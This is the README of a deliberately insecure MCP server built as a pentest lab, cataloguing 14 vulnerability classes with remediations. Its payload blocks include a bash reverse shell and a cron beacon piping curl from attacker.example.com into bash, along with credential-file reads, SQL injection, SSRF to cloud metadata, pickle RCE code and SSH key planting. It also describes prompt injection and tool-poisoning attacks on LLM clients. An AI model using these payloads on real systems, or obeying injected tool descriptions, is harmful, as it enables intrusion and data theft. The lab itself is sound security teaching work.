Vulnerable MCP Server
by JoyGhoshs
README.md
# Vulnerable MCP Server — Pentest Demonstration Lab
A deliberately insecure Model Context Protocol (MCP) server that demonstrates every major vulnerability class known to affect MCP deployments as of 2026. Built for security researchers and bloggers who need a hands-on lab target.
> **Legal disclaimer**: This server is intentionally broken. Deploy it only in an isolated lab environment. Do not expose it to the internet or to untrusted networks. The authors accept no liability for misuse.
---
## What is MCP?
The Model Context Protocol is an open standard that allows LLM clients (Claude Desktop, Cursor, etc.) to invoke tools hosted on external servers. A tool is a function the LLM can call; the server executes it and returns results. Because MCP bridges AI reasoning and real system execution, security misconfigurations have direct, high-impact consequences.
---
## Vulnerability Index
| ID | Vulnerability Class | Attack Vector | Severity |
|----|--------------------|--------------------|----------|
| V-01 | Prompt Injection via Tool Description | Tool metadata | Critical |
| V-02 | OS Command Injection | Tool input | Critical |
| V-03 | Path Traversal / Arbitrary File Read | Tool input | Critical |
| V-04 | SQL Injection (in-band + union) | Tool input | Critical |
| V-05 | Server-Side Request Forgery (SSRF) | Tool input | High |
| V-06 | Insecure Deserialization (Pickle RCE) | Tool input | Critical |
| V-07 | Arbitrary Python Code Execution | Tool design | Critical |
| V-08 | Authentication Bypass (token + SQLi) | Tool logic | Critical |
| V-09 | Insecure Direct Object Reference (IDOR) | Authorization | High |
| V-10 | Secret / Credential Leakage via Env | Tool design | High |
| V-11 | Tool Poisoning / Rug Pull | Runtime mutation | High |
| V-12 | Cross-Session Tool Call History Leak | State isolation | Medium |
| V-13 | Shadow Backdoor in Tool Description | Supply chain | Critical |
| V-14 | Arbitrary File Write | Tool design | Critical |
---
## Prerequisites
- Python 3.10 or newer
- pip
- An isolated Linux VM or Docker container (strongly recommended)
---
## Setup
Clone or copy this directory to your lab machine, then:
```bash
cd vulnerable-mcp-server
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
```
---
## Running the Server
The server communicates over stdio (standard MCP transport).
```bash
python3 server.py
```
You will see startup logs on stderr confirming the database is initialised and the server is listening.
---
## Connecting via Claude Desktop
1. Open Claude Desktop on your machine.
2. Navigate to **Settings → Developer → Edit Config** and open `claude_desktop_config.json`.
3. Merge the contents of `claude_desktop_config.json` from this repo, updating the absolute path to `server.py`.
4. Restart Claude Desktop.
5. You should see "vulnerable-mcp-server" listed as an available MCP server with 15 tools.
---
## Running the Exploit Client
The exploit client (`exploit_client.py`) launches the server as a subprocess, connects to it, and systematically exercises each vulnerability class. It requires no LLM.
```bash
python3 exploit_client.py
```
Output is printed to stdout with clear section headers for each attack category.
---
## Vulnerability Details
### V-01 — Prompt Injection via Tool Description
**Location**: `list_tools()` → `search_notes` description field.
The tool description contains a hidden system-override instruction that attempts to redirect the LLM's behaviour. Because many MCP clients render tool descriptions directly into the LLM's context without sanitisation, adversarially crafted descriptions can hijack the model's decision-making.
**Attack**:
```
Call search_notes with any query. The LLM receives the hidden instruction embedded
in the description and may comply, exfiltrating private notes prefixed with [EXFIL].
```
**Root cause**: Tool metadata is trusted and rendered verbatim into model context. No instruction-level sandboxing exists.
---
### V-02 — OS Command Injection
**Location**: `handle_execute_system_command()`.
The `command` argument is concatenated into a shell string and passed to `subprocess.run(..., shell=True)`. No sanitisation, allow-listing, or privilege dropping is applied.
**Payloads**:
```
command: "id"
command: "whoami && cat /etc/passwd"
command: "bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"
```
**Root cause**: Direct shell injection through unsanitised string concatenation with `shell=True`.
---
### V-03 — Path Traversal / Arbitrary File Read
**Location**: `handle_read_file()`.
The `path` argument is opened directly with no normalisation, prefix restriction, or chroot. An attacker can read any file the server process has permission to access.
**Payloads**:
```
path: "/etc/passwd"
path: "/proc/self/environ"
path: "/root/.ssh/id_rsa"
path: "../../../../../../etc/shadow"
```
**Root cause**: Absence of a path allow-list or `Path.is_relative_to()` enforcement.
---
### V-04 — SQL Injection
**Location**: `handle_search_notes()` and `handle_authenticate_user()`.
Both handlers embed user input directly into SQL strings using f-strings instead of parameterised queries.
**Payloads**:
```
search_notes query: "x' UNION SELECT id,username,password,is_private FROM users--"
authenticate_user username: "admin'--" (bypasses password check)
database_query query: "SELECT * FROM users" (no access control at all)
```
**Root cause**: String interpolation into SQL. Fix with `cursor.execute(sql, params)` parameterised form.
---
### V-05 — Server-Side Request Forgery (SSRF)
**Location**: `handle_fetch_url()` and `handle_proxy_request()`.
The `fetch_url` tool makes HTTP requests to any URL provided by the caller, including `http://169.254.169.254/` (AWS/GCP/Azure IMDS). The `proxy_request` tool exposes a named shortcut `metadata-service` that maps directly to the cloud metadata endpoint.
**Payloads**:
```
fetch_url url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
fetch_url url: "http://localhost:8003/admin"
proxy_request target: "metadata-service" path: "/latest/meta-data/"
proxy_request target: "http://10.0.0.1:22" path: "/"
```
**Root cause**: No URL scheme allow-listing, no private IP block, and named service shortcuts bypass intent.
---
### V-06 — Insecure Deserialization (Pickle RCE)
**Location**: `handle_deserialize_object()`.
The tool accepts a base64-encoded string and unpickles it. Python's `pickle.loads()` executes arbitrary code embedded inside the pickle stream during deserialisation.
**Payload generation**:
```python
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/rce_proof.txt",))
print(base64.b64encode(pickle.dumps(RCE())).decode())
```
**Root cause**: `pickle` is fundamentally unsafe for untrusted data. Replace with `json` or `msgpack`.
---
### V-07 — Arbitrary Python Code Execution
**Location**: `handle_run_code()`.
The `run_code` tool compiles and executes arbitrary Python code provided by the caller, with `__builtins__`, `os`, `subprocess`, and `sys` available in the execution namespace.
**Payloads**:
```python
output['result'] = open('/etc/passwd').read()
import os; output['result'] = os.listdir('/')
import subprocess; output['result'] = subprocess.check_output(['id']).decode()
```
**Root cause**: Exposing `exec()` with unrestricted builtins to any caller is equivalent to a remote shell.
---
### V-08 — Authentication Bypass
**Location**: `handle_authenticate_user()`.
Two bypass paths exist simultaneously:
1. A hardcoded admin override token (`superSecretAdminToken123`) checked before any credential validation.
2. SQL injection in the login query that allows bypassing the password check entirely.
**Payloads**:
```
token: "superSecretAdminToken123" (admin bypass, no username/password needed)
username: "admin'--" (SQL injection drops the password clause)
```
**Root cause**: Hardcoded secrets + string interpolation in authentication queries.
---
### V-09 — IDOR (Insecure Direct Object Reference)
**Location**: `handle_get_user_data()`.
The tool fetches user data including API keys and credit card numbers for any `user_id` provided. The `session_token` argument is accepted but never validated or compared to the requested resource.
**Payload**:
```
get_user_data user_id: "1" (returns admin's credit card and API key)
get_user_data user_id: "2" (returns alice's data)
```
**Root cause**: Authorization check is completely absent. The session token parameter exists but is ignored.
---
### V-10 — Secret / Credential Leakage
**Location**: `handle_list_environment()`.
Beyond exposing all OS environment variables, the function injects three hardcoded secrets directly into the returned dict:
- `_INTERNAL_ADMIN_TOKEN`
- `_INTERNAL_SECRET_API_KEY`
- `_INTERNAL_DB_KEY`
**Root cause**: Diagnostic tool with no access control that leaks secrets both from environment and source-level constants.
---
### V-11 — Tool Poisoning / Rug Pull
**Location**: `handle_update_tool_config()`.
This tool allows any caller to modify the runtime description of any registered MCP tool and persist the change. A rug pull attack works by registering a tool with a benign description (to gain user approval), then mutating the description to include malicious instructions after approval.
**Attack flow**:
1. User approves `authenticate_user` based on its displayed description.
2. Attacker calls `update_tool_config` with a new description that instructs the LLM to exfiltrate data.
3. All subsequent LLM interactions with `authenticate_user` follow the poisoned instructions.
**Root cause**: No immutability constraint on tool definitions after registration. Tool definitions should be static and signed.
---
### V-12 — Cross-Session Tool Call History Leakage
**Location**: `handle_get_tool_call_history()` and the global `TOOL_CALL_HISTORY` list.
All tool calls across all sessions are appended to a single in-process list with no per-session isolation or access control. Any caller can read the complete history of all tool invocations, including arguments and user context snapshots from other sessions.
**Root cause**: Shared mutable global state with no tenant/session isolation.
---
### V-13 — Shadow Backdoor in Tool Description
**Location**: `list_tools()` → `shadow_safe_tool` description and `handle_shadow_safe_tool()`.
This demonstrates a supply-chain style attack where a tool appears safe and performs a legitimate function (SHA-256 checksum), but:
1. The description contains a hidden instruction to the LLM to not reveal the backdoor.
2. The implementation contains a trigger keyword that fires an out-of-band data exfiltration side effect silently.
**Root cause**: Tools are opaque execution units; their descriptions and implementations cannot be audited by the LLM client or user without source access.
---
### V-14 — Arbitrary File Write
**Location**: `handle_write_file()`.
The `write_file` tool writes arbitrary content to any path, including:
- System cron directories (for persistence)
- SSH `authorized_keys` files
- Web server roots (webshell injection)
- `/etc/ld.so.preload` (library hijack)
**Payloads**:
```
path: "/etc/cron.d/backdoor"
content: "* * * * * root curl http://attacker.example.com/beacon | bash\n"
path: "/root/.ssh/authorized_keys"
content: "ssh-rsa AAAA... attacker@evil.com\n"
```
**Root cause**: No path restriction, no content validation, and no permission boundary.
---
## Docker Deployment (Isolated)
For a fully isolated demonstration environment:
```bash
docker build -t vuln-mcp .
docker run --rm -it --network none vuln-mcp
```
Using `--network none` prevents any outbound SSRF requests from reaching real endpoints during demonstration.
To run the exploit client inside the container:
```bash
docker run --rm -it vuln-mcp python3 exploit_client.py
```
---
## Remediation Cheat Sheet
| Vulnerability | Remediation |
|---------------|-------------|
| Prompt Injection | Treat tool descriptions as untrusted; implement instruction-level sandboxing in LLM clients |
| Command Injection | Use `subprocess.run([cmd, arg1, ...])` (list form) never `shell=True`; apply allow-lists |
| Path Traversal | Resolve paths with `Path.resolve()` and assert they remain under an allowed base directory |
| SQL Injection | Always use parameterised queries: `cursor.execute(sql, (param,))` |
| SSRF | Block private IP ranges (RFC 1918, 169.254.x.x, ::1); restrict to an explicit URL allow-list |
| Insecure Deserialization | Never unpickle untrusted data; use JSON or signed serialisation formats |
| Arbitrary Code Execution | Do not expose `exec` or `eval` through tool interfaces under any circumstances |
| Auth Bypass | Remove hardcoded tokens; use parameterised queries in login flows; implement proper session validation |
| IDOR | Validate that the authenticated session's user ID matches the requested resource before returning data |
| Secret Leakage | Remove diagnostic tools in production; never inject secrets into tool output |
| Tool Poisoning | Make tool definitions immutable after server startup; cryptographically sign manifests |
| Session Leakage | Scope all state to a session ID; never use shared global state across sessions |
| Shadow Backdoor | Audit all third-party MCP servers before connecting; require open-source and reproducible builds |
| Arbitrary File Write | Restrict write paths to an explicitly configured sandbox directory |
---
## References
- [MCP Security Specification — modelcontextprotocol.io](https://modelcontextprotocol.io/specification/2025-03-26/security)
- [OWASP Top 10 for LLM Applications 2025](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
- [Prompt Injection Attacks on LLM Agents — Greshake et al.](https://arxiv.org/abs/2302.12173)
- [Attacking MCP Servers — Bishop Fox 2025](https://bishopfox.com/blog/mcp-security)
- [ToolSandbox: Evaluating LLM Tool Use Safety](https://arxiv.org/abs/2408.04682)
This server cannot be deployed
Maintenance
ActivityInactive
ResponsivenessNo issues